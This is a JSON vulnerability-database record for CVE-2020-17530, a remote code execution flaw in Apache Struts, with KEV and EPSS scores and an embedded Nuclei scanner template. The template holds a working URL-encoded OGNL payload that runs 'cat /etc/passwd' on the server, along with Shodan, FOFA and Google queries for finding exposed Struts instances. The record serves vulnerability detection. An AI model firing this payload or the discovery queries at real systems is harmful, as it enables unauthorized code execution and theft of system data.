{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-17530/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-17530/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-17530/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-17530/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-17530/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-17530"},"sightings":{"href":"/api/v1/sightings/cve-2020-17530"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.95931,"kev":true,"percentile":0.99873},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-17530.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-17530\n\ninfo:\n  name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution\n  author: pikpikcu\n  severity: critical\n  description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.\n  remediation: |\n    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.\n  reference:\n    - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html\n    - http://jvn.jp/en/jp/JVN43969166/index.html\n    - https://cwiki.apache.org/confluence/display/WW/S2-061\n    - https://security.netapp.com/advisory/ntap-20210115-0005/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-17530\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-17530\n    cwe-id: CWE-917\n    epss-score: 0.95931\n    epss-percentile: 0.99873\n    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: struts\n    shodan-query:\n      - http.html:\"apache struts\"\n      - http.title:\"struts2 showcase\"\n      - http.html:\"struts problem report\"\n    fofa-query:\n      - body=\"struts problem report\"\n      - title=\"struts2 showcase\"\n      - body=\"apache struts\"\n    google-query: intitle:\"struts2 showcase\"\n  tags: cve,cve2020,apache,rce,struts,kev,packetstorm,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n# digest: 4a0a00473045022100e4cea295c9436281ad37ee6bf52f8591348391d87f97158496bdd51fbda24f89022039cf6e8c778b5f8312a498d758d5e7678cb1d81f5ff81ec77de5baa9e450daed:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-17530"}